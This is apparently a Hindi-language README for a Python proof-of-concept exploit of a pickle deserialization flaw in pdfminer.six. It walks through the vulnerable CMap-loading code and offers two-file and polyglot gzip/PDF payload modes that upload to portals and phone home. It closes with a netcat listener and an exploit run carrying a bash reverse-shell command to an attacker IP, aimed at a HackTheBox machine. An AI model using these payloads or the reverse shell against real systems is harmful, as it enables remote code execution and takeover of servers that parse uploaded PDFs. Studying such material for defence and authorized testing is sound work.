
CVE-2025-64512 के लिए Python PoC, जो pdfminer.six pickle deserialization RCE है। gzipped pickle payloads और polyglot PDFs उत्पन्न करता है, फिर उन्हें authorized testing के लिए upload portals पर पहुंचाता है।
Python 3, केवल stdlib (कोई pip इंस्टॉल नहीं)। केवल अधिकृत सुरक्षा परीक्षण और CTF उपयोग के लिए — कानून और अपने एंगेजमेंट के rules of engagement का पालन करने की जिम्मेदारी आपकी है।
| CVE | CVE-2025-64512 |
| प्रभावित | pdfminer.six < 20251107 (20251107 में ठीक किया गया — CMaps अब JSON बन गए) |
| डाउनस्ट्रीम शिकार | markitdown < 0.1.4, pdfplumber < 0.11.8 |
| प्रकार | CWE-502 अविश्वसनीय डेटा का डीसेरियलाइज़ेशन → अनऑथेंटिकेटेड RCE |
| संदर्भ PoC | luigigubello/CVE-2025-64512-Polyglot-PoC (सिंगल-फ़ाइल पॉलीग्लॉट वेरिएंट) |
परीक्षित लक्ष्य: https://app.hackthebox.com/machines/Bedside
pdfminer.six PDF से टेक्स्ट निकालने के लिए एक लोकप्रिय Python लाइब्रेरी है। PDF फ़ॉन्ट्स
को CMaps की ज़रूरत होती है — ऐसी टेबलें जो कैरेक्टर कोड को Unicode में बदलती हैं — और pdfminer
इन्हें अपने ही पैकेज के अंदर gzipped pickles (<name>.pickle.gz) के रूप में भेजता है।
देखें कि CMap कैसे लोड होता है (pdfminer/cmapdb.py, 20251107 से पहले के सभी वर्शन):
@classmethod
def _load_data(cls, name: str) -> Any:
name = name.replace("\0", "") # the ONLY sanitization
filename = "%s.pickle.gz" % name # ← attacker controls `name`
cmap_paths = (
os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
os.path.join(os.path.dirname(__file__), "cmap"),
)
for directory in cmap_paths:
path = os.path.join(directory, filename) # ← absolute name ignores the dir!
if os.path.exists(path):
with gzip.open(path) as gzfile:
return type(str(name), (), pickle.loads(gzfile.read())) # ← 💥
तीन खामियाँ एक साथ जुड़ती हैं:
name PDF से ही आता है। Type0 (CID) फ़ॉन्ट की /Encoding एंट्री एक PDF name होती है,
और हमलावर इस पर पूरी तरह नियंत्रण रखता है। PDF नामों में कच्चा / नहीं हो सकता, इसलिए इसे
RFC-मानक हेक्स एस्केप के साथ लिखा जाता है: नाम
/#2f#76#61#72#2f… डिकोड होकर /var/… बनता है।os.path.join की विचित्रता। जब दूसरा आर्ग्युमेंट absolute होता है, तो पहला पूरी तरह
नज़रअंदाज़ हो जाता है। इसलिए /var/www/site/uploads/shell नाम pdfminer को अपनी
CMap डायरेक्टरी के बजाय /var/www/site/uploads/shell.pickle.gz — डिस्क पर कोई भी पाथ — देखने पर मजबूर करता है।pickle.loads()। एक pickle में "मुझे इस फ़ंक्शन को कॉल करके फिर से बनाओ"
निर्देश (__reduce__) हो सकते हैं। हमलावर के बाइट्स को डीसेरियलाइज़ करना = हमलावर के कोड को चलाना,
उसी प्रोसेस के अंदर जिसने pdfminer को कॉल किया।एक्सप्लॉइट की पूर्वापेक्षाएँ — यह बग किसी भी ऐप्लिकेशन पर आसानी से एक्सप्लॉइट किया जा सकता है जो आपको समीकरण के दोनों हिस्से देता है:
{"__reduce__": eval("__import__('os').system('<your command>')")}।/Encoding आपके pickle के absolute पाथ को नाम देती है।--mode two (डिफ़ॉल्ट) — <name>.pickle.gz अपलोड करती है, फिर <name>.pdf।
इसका उपयोग तब करें जब लक्ष्य केवल PDF एक्सटेंशन वाली फ़ाइलें पार्स करता हो
(जैसे uploads/*.pdf को glob करने वाला वॉचर)।--mode polyglot — एक फ़ाइल <name>.pickle.gz अपलोड करती है जो दोनों है
एक मान्य gzip-pickle और एक मान्य PDF: पूरी PDF gzip
हेडर के FCOMMENT फ़ील्ड में छिपी होती है (RFC 1952 कमेंट की अनुमति देता है; %PDF- सिग्नेचर
बाइट 10 पर बैठता है, और xref ऑफ़सेट पहले से शिफ्ट किए गए हैं ताकि टेबल मान्य रहे)।
इसका उपयोग तब करें जब लक्ष्य किसी भी अपलोड की गई फ़ाइल को एक्सटेंशन की परवाह किए बिना PDF के रूप में पार्स करता हो
(markitdown-शैली कन्वर्टर)।--verify), लक्ष्य के
प्रोसेसिंग चक्र का इंतज़ार करती है (--wait), और आपके कमांड चलने से पहले एक callback oracle (--callback)
जोड़ सकती है जो फ़ोन होम करता है — ताकि आप मुख्य चैनल विफल होने पर भी निष्पादन साबित कर सकें।कुछ भी इंस्टॉल करने की ज़रूरत नहीं — Python 3.10+ (uses str | None syntax):
chmod +x cve_2025_64512.py
नमूना पेलोड जनरेट करें और (यदि कोई कमज़ोर pdfminer importable हो) उन्हें अपने ही Python में निष्पादित करें ताकि लक्ष्य को छूने से पहले श्रृंखला काम करती है यह साबित हो:
# point the selftest at a vulnerable pdfminer checkout/wheel (any < 20251107)
export PDFMINER_PATH=/path/to/pdfminer_package_dir
python3 cve_2025_64512.py --selftest
अपेक्षित आउटपुट दोनों — two-file ट्रिगर और
polyglot — के लिए SELFTEST PASS पर समाप्त होता है। आप मैन्युअल रूप से भी परीक्षण कर सकते हैं:
python3 cve_2025_64512.py --no-upload --path /tmp --name demo --command 'id > /tmp/pwned'
cp demo.pickle.gz demo-trigger.pdf /tmp/ # place as /tmp/demo.pickle.gz
pdf2txt.py /tmp/demo-trigger.pdf # vulnerable pdfminer only
cat /tmp/pwned # → your uid
# 1. start a listener for your command's callback channel
nc -lvnp 4444
# 2. run the exploit — let it discover the upload directory itself
python3 cve_2025_64512.py \
--url http://research.target.htb/ \
--leak-path \
--verify /uploads \
--wait 35 \
--command "bash -c 'exec bash -i &>/dev/tcp/YOUR_IP/4444 <&1'"
पूर्ण आर्ग्युमेंट संदर्भ: